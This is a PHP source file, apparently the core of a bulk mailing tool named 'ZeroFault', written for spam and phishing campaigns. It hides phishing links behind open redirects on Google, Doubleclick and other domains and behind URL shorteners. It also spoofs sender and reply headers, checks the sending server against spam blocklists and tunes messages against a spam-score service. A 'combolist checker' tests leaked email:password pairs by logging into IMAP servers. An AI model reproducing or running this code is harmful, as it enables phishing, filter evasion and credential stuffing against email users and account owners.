<?php
/*========================================================================================
* +-+-+-+-+-+ Project    : ZeroFault
* |V|1|P|3|R| Author     : ZeroFaultツ
* +-+-+-+-+-+ Version    : V1.0
========================================================================================*/

  /* Require Files */
  if(isset($sessionId)):

    //setenv HTTP_PROXY http://127.0.0.1:9951/

    require_once './includes/vendor/' . $version . '/SMTP.php';

    require_once './includes/vendor/' . $version . '/PHPMailer.php';

  endif;
  
  /* 
	* Trim Function
	*/function V1P3R_Trim($string){

    return stripslashes(ltrim(rtrim($string)));

  }

  /* 
	* Prepar URL Function
	*/function V1P3R_PrepareUrl($url, $useShortener, $openRedirect){

    switch ($useShortener):

      case 'Shorturl.at':

        $url    = $url . '?id=' . uniqid();

        $fields = http_build_query(

          array(
            'u' => $url
          )

        );

        $httpheader = array(

          'http' =>

            array(
              'method'  => 'POST',
              'header'  => 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
              'content' => $fields
            )

        );

        $context = stream_context_create($httpheader);

        $result  = file_get_contents('https://www.shorturl.at/shortener.php', false, $context);

        preg_match('~(?<=<input id="shortenurl" type="text" value=")(.*?)(?=")~', $result, $url);

        $url = 'https://' . $url[0];

        break;

      default: break;

    endswitch;

    $url = $url . '#' . md5(uniqid(rand(), true));

    switch ($openRedirect):

      case 'Doubleclick':

        $url = 'https://googleads.g.doubleclick.net/pcs/click?adurl=' . urlencode($url);

        break;

      case 'Google':

        $url = 'https://www.google.com/url?sa=D&q=https://hangouts.google.com/linkredirect?dest=' . $url;
        
        break;
        
      case 'Googleweblight':
      
        $url = 'https://googleweblight.com/i?u=' . $url;

        break;        

      case 'Mpnrs':

        $url = 'https://www1.mpnrs.com/tracker/tracker2/adl.14890/ada.3/adm.67599/adc.32885/?clickRedirect=' . urlencode($url);

        break;

      case 'Naver':

        $url = 'https://cc.naver.com/cc?a=pst.link&r=&i=&m=1&nsc=Mblog.post&u=' . urlencode($url);

        break;

      case 'Kwconnect':

        $url = 'https://www.kwconnect.com/redirect?url=' . urlencode($url);

        break;

      case 'Revjet':

        $url = 'https://ads.revjet.com/click/tag121752/7356067944737423936/1?adkey=14d&lp=' . urlencode($url);

        break;

      default: break;

    endswitch;

    return $url;

  }

  /* 
  * Bounce Remover Function
  */function V1P3R_Bounce($data){

    $url    = $data['url'];

    $email  = $data['email'];

    $fields = http_build_query(

      array(
        'email' => $email
      )

    );

    $httpheader = array(

      'http' =>

        array(
          'method'  => 'POST',
          'header'  => 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
          'content' => $fields
        )

    );

    $context  = stream_context_create($httpheader);

    $result   = file_get_contents($url, false, $context);

    $response = (strpos($result, 'VALID EMAIL ADDRESS') !== false) ? 'Valid' : 'Invalid';

    return  array(

              'email'    => $email,
              'response' => $response

            );

  }

  /* 
	* IP Blacklist Function
	*/function V1P3R_Blacklist($ServerIP){

    $dnsbl_lookup = array(

      'all.s5h.net', 'b.barracudacentral.org', 'bl.spamcop.net', 'blacklist.woody.ch', 'bogons.cymru.com', 'cbl.abuseat.org', 'cdl.anti-spam.org.cn', 'combined.abuse.ch', 'db.wpbl.info', 'dnsbl-1.uceprotect.net', 'dnsbl-2.uceprotect.net', 'dnsbl-3.uceprotect.net', 'dnsbl.anticaptcha.net', 'dnsbl.dronebl.org', 'dnsbl.inps.de', 'dnsbl.sorbs.net', 'drone.abuse.ch', 'duinv.aupads.org', 'dul.dnsbl.sorbs.net', 'dyna.spamrats.com', 'dynip.rothen.com', 'http.dnsbl.sorbs.net', 'ips.backscatterer.org', 'ix.dnsbl.manitu.net', 'korea.services.net', 'misc.dnsbl.sorbs.net', 'noptr.spamrats.com', 'orvedb.aupads.org', 'pbl.spamhaus.org', 'proxy.bl.gweep.ca', 'psbl.surriel.com', 'relays.bl.gweep.ca', 'relays.nether.net', 'sbl.spamhaus.org', 'short.rbl.jp', 'singular.ttk.pte.hu', 'smtp.dnsbl.sorbs.net', 'socks.dnsbl.sorbs.net', 'spam.abuse.ch', 'spam.dnsbl.anonmails.de', 'spam.dnsbl.sorbs.net', 'spam.spamrats.com', 'spambot.bls.digibase.ca', 'spamrbl.imp.ch', 'spamsources.fabel.dk', 'ubl.lashback.com', 'ubl.unsubscore.com', 'virus.rbl.jp', 'web.dnsbl.sorbs.net', 'wormrbl.imp.ch', 'xbl.spamhaus.org', 'z.mailspike.net', 'zen.spamhaus.org', 'zombie.dnsbl.sorbs.net'

    );

    $listed = '';
    $clean  = '';

    if($ServerIP):
      
      $reverse_ip = implode('.', array_reverse(explode('.', $ServerIP)));
    
      foreach($dnsbl_lookup as $host):
    
        if(checkdnsrr($reverse_ip . '.' . $host . '.', 'A')):
    
          $listed .= '<tr class="negative">
              
                        <td>

                          ' . $ServerIP . ' 
                        
                        </td>

                        <td>

                          ' . $host . '

                        </td>

                        <td class="center aligned">
                          
                          <i class="large red exclamation triangle icon"></i>
                        
                        </td>

                        <td></td>

                      </tr>';
    
        else:

          $clean .= '<tr class="positive">
              
                        <td>

                          ' . $ServerIP . ' 
                        
                        </td>

                        <td>

                          ' . $host . '

                        </td>

                        <td></td>

                        <td class="center aligned">
                          
                          <i class="large green checkmark icon"></i>
                        
                        </td>

                      </tr>';
    
        endif;

        ob_flush();
        flush();
    
      endforeach;
    
    endif;

    return (empty($listed)) ? '<tr><td colspan="4">"A" record was not found</td></tr>' : $listed . $clean;

  }

  /* 
  * Combolist Checker Function
  */function V1P3R_Combo($data){

    $acces  = $data['acces'];

    $server = $data['server'];

    $port   = $data['port'];

    list($email, $password) = explode(':', $acces, 2);

    $init = curl_init();

    curl_setopt_array($init, array(
      CURLOPT_URL            => (($port == 993) ? 'imaps' : 'imap') . '://' . $server,
      CURLOPT_PORT           => $port,
      CURLOPT_USERNAME       => $email,
      CURLOPT_PASSWORD       => $password,
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_HEADER         => true,
      CURLOPT_ENCODING       =>  ''
    ));

    $result = curl_exec($init);

    curl_close($init);

    return  array(

              'email'    => $acces,
              'response' => (is_string($result)) ? 'Valid' : 'Invalid'

            );

  }

  /* 
	* Check Send Score Function
	*/function V1P3R_CheckScore($messageHeaders){

    $array      = array();

    $httpheader = array(
  
      'http' =>
  
        array(
          'method'  => 'POST',
          'header'  => 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
          'content' => http_build_query(array('email' => $messageHeaders, 'options' => 'long'))
        )
  
    );
  
    $context   = stream_context_create($httpheader);
  
    $response  = file_get_contents('http://spamcheck.postmarkapp.com/filter', false, $context);
  
    preg_match("/(?<=\"success\":).*?(?=,)/", $response, $success);
    
    if($success[0] == true):
  
      preg_match("/(?<=\"score\":\").*?(?=\")/", $response, $score);
  
      preg_match("/(?<=\"report\":\").*?(?=\")/", $response, $report);
    
      $array['score']  = $score[0];
      $array['report'] = '<pre>' . str_replace('\n', '</br>', $report[0]) . '</pre>';
    
    else:
  
      $array['error'] = 'True';
  
    endif;
  
    return $array;

  }

  /* 
  * Send Function
  */function V1P3R_Send($to, $mail, $cid, $link, $useShortener, $openRedirect, $letter, $local){

    /* Add HTML And Plain Text Message */
    $mail->msgHTML(

      preg_replace('/\[\[email\]\]/', (is_string($to)) ? $to : '', 

        preg_replace('/\[\[user\]\]/', (is_string($to)) ? explode('@', $to)[0] : '', 
        
          preg_replace('/\[\[image\]\]/', "cid:$cid", 
          
            preg_replace('/\[\[link\]\]/', V1P3R_PrepareUrl($link, $useShortener, $openRedirect), $letter)

          )

        )

      )
    
    );

    /* Sending And Testing */
    if(!$mail->Send()):
  
      if($local):

        $mail->IsMail();

        if(!$mail->Send()):

          $response = $mail->ErrorInfo;

        else:

          $response = 'Done';

        endif;

      else:

        $response = $mail->ErrorInfo;

      endif;

    else:

      $response = 'Done';

    endif;

    return  array(

              'to'       => $to,
              'response' => $response

            );

  }

  /* 
  * Start Send Function
  */function V1P3R_StartSend($sessionId, $data){

    $debug            = $data['debug'];

    $server           = !empty($data['server']) ? explode(':', V1P3R_Trim($data['server'])) : '';

    $fromNameEncoding = $data['fromNameEncoding'];

    $bccName          = V1P3R_Trim($data['bccName']);

    $bccMail          = V1P3R_Trim($data['bccMail']);

    $fromName         = V1P3R_Trim($data['fromName']);

    $fromMail         = V1P3R_Trim($data['fromMail']);

    $subject          = V1P3R_Trim($data['subject']);

    $subjectEncoding  = $data['subjectEncoding'];

    $replyTo          = V1P3R_Trim($data['replyTo']);

    $returnPath       = V1P3R_Trim($data['returnPath']);

    $emailAsLogin     = (!empty($data['emailAsLogin'])) ? true : false;

    $replyAsLogin     = (!empty($data['replyAsLogin'])) ? true : false;

    $confirmReading   = (!empty($data['confirmReading'])) ? true : false;

    $headers          = V1P3R_Trim($data['headers']);

    $link             = V1P3R_Trim($data['link']);

    $embedIMG         = isset($data['embedIMG']) ? $data['embedIMG'] : '';

    $attachments      = isset($data['attachments']) ? $data['attachments'] : '';

    $openRedirect     = $data['openRedirect'];

    $useShortener     = $data['useShortener'];

    $letter           = V1P3R_Trim($data['letter']);

    $recipients       = $data['recipients'];

    $isBCC            = $data['isBCC'];

    $date             = $data['date'];

    $contentType      = $data['contentType'];

    $charset          = $data['charset'];

    $encoding         = $data['encoding'];

    $priority         = $data['priority'];

    $cid              = 'attachment_' . uniqid();

    $response         = array();

    /* Create A New PHPMailer Instance */
    $mail             = new PHPMailer;

    /* Tell PHPMailer To Use Sendmail Or SMTP */
    if(empty($server)):

      $local = true;

      $mail->IsSendmail();

    else:

      $local = false;

      $mail->IsSMTP();

      $mail->SMTPDebug   = $debug;

      $mail->Host        = $server[0];

      $mail->Port        = $server[1];

      $mail->SMTPSecure  = (in_array($server[2], array('SSL', 'TLS'))) ? strtolower($server[2]) : '';

      $mail->SMTPKeepAlive = ($data['concurrency'] == 1) ? true : false;

      if(count($server) > 3):

        $mail->SMTPAuth   = true;

        $mail->Username   = $server[3];

        $mail->Password   = $server[4];

      endif;

      if($emailAsLogin):

        $fromMail   = $server[3];

        $returnPath = $server[3];

      endif;

      if($replyAsLogin || $emailAsLogin) $replyTo = $server[3];

    endif;

    /* Embed Image */
    if(!empty($embedIMG)):

      preg_match("':(.*?);'si", $embedIMG, $type);

      $type     = $type[1];

      $dataURI  = explode('base64,', $embedIMG)[1];

      $filename = $cid . '.' . explode('/', $type)[1];

      $mail->addStringEmbeddedImage(base64_decode($dataURI), $cid, $filename, 'base64', $type);

    endif;

    /* Add Attachement */
    if(!empty($attachments)):

      foreach ($attachments as $index => $value):

        preg_match("':(.*?);'si", $value, $type);

        $type     = $type[1];

        $dataURI  = explode('base64,', $value)[1];

        $filename = $cid . '_' . $index . '.' . explode('/', $type)[1];

        $mail->AddStringAttachment(base64_decode($dataURI), $filename, 'base64', $type);

      endforeach;

    endif;

    /* Add Confirm Reading */
    if($confirmReading) $mail->ConfirmReadingTo = $returnPath;

    /* From Name Encoding */
    switch($fromNameEncoding):

      case '7bit':

        $fromName = mb_convert_encoding($fromName, 'Windows-1252', 'UTF-8');
        // $fromName  = iconv(mb_detect_encoding($fromName, 'auto'), 'UTF-8', $fromName);

        break;

      case 'base64':

        $fromName = '=?UTF-8?B?' . base64_encode($fromName) . '?=';

        break;

      case 'binary':

        $fromName = imap_base64(imap_binary($fromName));

        break;

      case 'quoted-printable':

        $fromName = '=?UTF-8?Q?' . quoted_printable_encode($fromName) . '?=';

        break;

      default: break;

    endswitch;

    /* Subject Encoding */
    switch ($subjectEncoding):

      case '7bit':

        $subject  = mb_convert_encoding($subject, 'Windows-1252', 'UTF-8');
        // $subject  = iconv(mb_detect_encoding($subject, 'auto'), 'UTF-8', $subject);

        break;

      case 'base64':

        $subject  = '=?UTF-8?B?' . base64_encode($subject) . '?=';

        break;

      case 'binary':

        $subject  = imap_base64(imap_binary($subject));

        break;

      case 'quoted-printable':

        $subject = '=?UTF-8?Q?' . quoted_printable_encode($subject) . '?=';

        break;

      default: break;

    endswitch;

    /* Add Mail Config */
    $mail->setFrom($fromMail, $fromName);

    $mail->AddReplyTo($replyTo, $fromName);

    $mail->Sender      = $returnPath;

    $mail->Subject     = $subject;

    $mail->MessageDate = ($date != '0') ? 

                            date('D, j M Y H:i:s O', strtotime(date('Y-m-d'). ' + ' . $date . ' days')) 
                          : 

                            PHPMailer::rfcDate();

    $mail->Encoding    = $encoding;

    $mail->ContentType = $contentType;

    $mail->CharSet     = $charset;

    $mail->Priority    = $priority;

    /* Add Custom Headers */
    if(!empty($headers)):

      foreach (preg_split('/[\r\n]+/', $headers) as $row):

        if(!empty($row)):

          list($headerName, $headerValue) = explode(': ', $row, 2);

          switch ($headerName):

            case 'Message-ID':

              $mail->MessageID = $headerValue;
              break;

            case 'X-Mailer':

              $mail->XMailer   = $headerValue;
              break;

            default:

              $mail->addCustomHeader($headerName, $headerValue);
              break;

          endswitch;

        endif;

      endforeach;

    else:

      $mail->XMailer = ' ';

    endif;

    /* Check Mail Score */
    if(isset($data['CheckScore'])):

      $mail->addAddress($sessionId . '@email.com');

      $mail->preSend();

      $response = V1P3R_CheckScore($mail->getSentMIMEMessage());

    /* Send With Pool Connexion */
    elseif($data['concurrency'] == 1):

      foreach ($recipients as &$to):

        if($isBCC):

          foreach ($to as &$value) $mail->addBCC($value);
    
          $mail->AddAddress(
    
            $bccMail,
    
            '=?UTF-8?B?' . base64_encode($bccName) . '?='
    
          );
    
        else:
    
          $mail->AddAddress($to);
    
        endif;

        /* Sending And Testing */
        array_push(

          $response,
          
          V1P3R_Send($to, $mail, $cid, $link, $useShortener, $openRedirect, $letter, $local)

        );

        $mail->clearAllRecipients();
        
        $mail->clearReplyTos();

      endforeach;

    /* Check With Concurrency Connexion */
    else:

      if($isBCC):

        foreach ($recipients as &$value) $mail->addBCC($value);
  
        $mail->AddAddress(
  
          $bccMail,
  
          '=?UTF-8?B?' . base64_encode($bccName) . '?='
  
        );
  
      else:
  
        $mail->AddAddress($recipients);
  
      endif;

      /* Sending And Testing */
      array_push(

        $response,
        
        V1P3R_Send($recipients, $mail, $cid, $link, $useShortener, $openRedirect, $letter, $local)

      );

    endif;

    $mail->clearAttachments();

    $mail->SmtpClose();

    /* Return Send Response */
    return $response;
    
  }

?>
